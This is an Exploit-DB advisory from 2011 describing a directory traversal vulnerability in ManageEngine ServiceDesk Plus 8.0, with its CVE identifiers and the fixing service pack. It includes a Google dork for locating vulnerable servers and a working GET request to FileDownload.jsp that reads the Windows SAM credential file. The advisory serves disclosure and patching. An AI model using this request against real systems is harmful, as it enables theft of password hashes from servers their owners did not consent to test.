ManageEngine ServiceDesk Plus 8.0 - Directory Traversal Vulnerability

2011-06-23T00:00:00
ID EDB-ID:17437
Type exploitdb
Reporter Keith Lee
Modified 2011-06-23T00:00:00

Description

ManageEngine ServiceDesk Plus 8.0 - Directory Traversal Vulnerability. CVE-2011-2755,CVE-2011-2757. Webapps exploit for jsp platform

                                        
                                            Google Dork:	ie: intitle:ManageEngine ServiceDesk Plus"
Author:		Keith Lee (keith.lee2012@gmail.com), @keith55,
http://milo2012.wordpress.com
Software Link:	http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
Version:	8.0

Description:

Directory traversal vulnerabilities has been found in ManageEngine
ServiceDesk Plus 8.0 a web
based helpdesk system written in Java.

The vulnerability can be exploited to access local files by entering
special characters in variables used to create file paths. The attackers
use ďż˝../ďż˝ sequences to move up to root directory, thus permitting
navigation through the file system.

Request:
GET http://[webserver
IP]:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\windows\repair\SAM

The issue is fixed with Service Pack Build 8012 found in the below link.
http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus_8_0_0_SP-0_12_0.ppm


-- 
Keith

Blog: http://www.milo2012.wordpress.com
Twitter: @keith55